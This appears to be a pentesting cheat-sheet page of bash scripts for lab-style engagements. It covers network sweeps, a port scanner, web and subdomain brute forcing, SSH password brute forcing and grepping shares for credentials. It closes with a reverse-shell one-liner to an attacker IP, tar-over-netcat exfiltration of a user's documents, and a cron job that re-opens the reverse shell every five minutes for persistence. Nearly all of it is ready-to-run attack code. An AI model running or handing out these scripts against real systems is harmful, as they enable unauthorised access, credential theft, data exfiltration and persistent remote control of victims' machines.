Skip to content

Bash scripting for pentesting

Practical scripts built on top of the fundamentals from bash scripting. For more advanced techniques (parallelization, obfuscation, persistence), see bash scripting for pentesting - advanced.

Ping sweep

#!/usr/bin/env bash
# Usage: ./ping-sweep.sh 10.10.10

subnet="$1"

for i in $(seq 1 254); do
    ip="$subnet.$i"
    (ping -c 1 -W 1 "$ip" &>/dev/null && echo "$ip is up") &
done
wait

Simple port scanner with /dev/tcp

#!/usr/bin/env bash
# Usage: ./port-scan.sh 10.10.10.10 1 1000
# Uses bash's built-in /dev/tcp pseudo-device instead of nc/nmap.

target="$1"
start_port="$2"
end_port="$3"

for port in $(seq "$start_port" "$end_port"); do
    timeout 1 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null \
        && echo "$port/tcp open"
done

Directory/file brute forcing

#!/usr/bin/env bash
# Usage: ./dirbrute.sh http://target.htb wordlist.txt

url="$1"
wordlist="$2"

while IFS= read -r word; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$url/$word")
    if [[ "$code" != "404" ]]; then
        echo "[$code] $url/$word"
    fi
done < "$wordlist"

Subdomain enumeration wrapper

#!/usr/bin/env bash
# Usage: ./subenum.sh domain.com wordlist.txt

domain="$1"
wordlist="$2"

while IFS= read -r sub; do
    ip=$(host "$sub.$domain" | grep "has address" | awk '{print $NF}')
    [[ -n "$ip" ]] && echo "$sub.$domain -> $ip"
done < "$wordlist"

SSH login brute force

#!/usr/bin/env bash
# Usage: ./ssh-brute.sh target_ip user userlist.txt or passlist.txt
# For real engagements, prefer hydra (see hydra cheat sheet) - this is illustrative.

target="$1"
user="$2"
passlist="$3"

while IFS= read -r pass; do
    sshpass -p "$pass" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 \
        "$user@$target" "echo success" 2>/dev/null \
        && { echo "[+] valid password: $pass"; break; }
done < "$passlist"

Parsing nmap output

1
2
3
4
#!/usr/bin/env bash
# Extract open ports from an nmap greppable scan: nmap -oG scan.gnmap ...

grep -oP '\d+/open' scan.gnmap | cut -d/ -f1 | sort -un

Log parsing / grepping for credentials

1
2
3
4
5
# Search recursively for common credential patterns
grep -rniE "password\s*=|passwd\s*=|api[_-]?key\s*=|secret\s*=" /mnt/share/ 2>/dev/null

# Pull unique IPs out of an auth.log
grep "Failed password" /var/log/auth.log | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort -u

Simple reverse shell one-liner

1
2
3
4
5
# Attacker
nc -lvnp 443

# Target
bash -i >& /dev/tcp/10.10.14.1/443 0>&1

File exfiltration over TCP

1
2
3
4
5
# Attacker (receiver)
nc -lvnp 4444 > loot.tar.gz

# Target (sender)
tar czf - /home/user/documents | nc 10.10.14.1 4444

Persistence: cron-based callback

# Add a reverse shell callback every 5 minutes
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/10.10.14.1/443 0>&1'") | crontab -
Last update: 2026-07-27
Created: July 27, 2026 16:17:23